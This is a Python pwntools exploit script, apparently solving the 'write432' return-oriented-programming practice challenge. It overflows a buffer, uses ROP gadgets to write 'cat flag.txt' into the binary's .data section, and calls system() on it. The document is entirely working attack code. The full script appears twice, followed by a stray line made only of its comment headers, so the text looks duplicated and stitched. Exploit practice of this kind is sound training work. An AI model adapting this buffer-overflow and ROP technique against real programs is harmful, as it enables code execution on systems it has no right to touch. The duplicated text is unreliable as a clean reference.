from pwn import *

pop_gadget = 0x080486da
mov_gadget = 0x08048670
system_addr = 0x08048430
code = "cat flag.txt"

elf = ELF("write432")
data_section = elf.get_section_by_name(".data").header.sh_addr
print(p32(data_section))

# Payload
payload = "A" * 44

# First 4
payload += p32(pop_gadget)
payload += p32(data_section)
payload += code[0:4]
payload += p32(mov_gadget)
# Next 4
payload += p32(pop_gadget)
payload += p32(data_section + 4)
payload += code[4:8]
payload += p32(mov_gadget)
# Next 4
payload += p32(pop_gadget)
payload += p32(data_section + 8)
payload += code[8:12]
payload += p32(mov_gadget)

# Call
payload += p32(system_addr)
payload += "BBBB"
payload += p32(data_section)

io = elf.process()
io.sendline(payload)
io.interactive()
from pwn import *

pop_gadget = 0x080486da
mov_gadget = 0x08048670
system_addr = 0x08048430
code = "cat flag.txt"

elf = ELF("write432")
data_section = elf.get_section_by_name(".data").header.sh_addr
print(p32(data_section))

# Payload
payload = "A" * 44

# First 4
payload += p32(pop_gadget)
payload += p32(data_section)
payload += code[0:4]
payload += p32(mov_gadget)
# Next 4
payload += p32(pop_gadget)
payload += p32(data_section + 4)
payload += code[4:8]
payload += p32(mov_gadget)
# Next 4
payload += p32(pop_gadget)
payload += p32(data_section + 8)
payload += code[8:12]
payload += p32(mov_gadget)

# Call
payload += p32(system_addr)
payload += "BBBB"
payload += p32(data_section)

io = elf.process()
io.sendline(payload)
io.interactive()
# Payload # First 4 # Next 4 # Next 4 # Call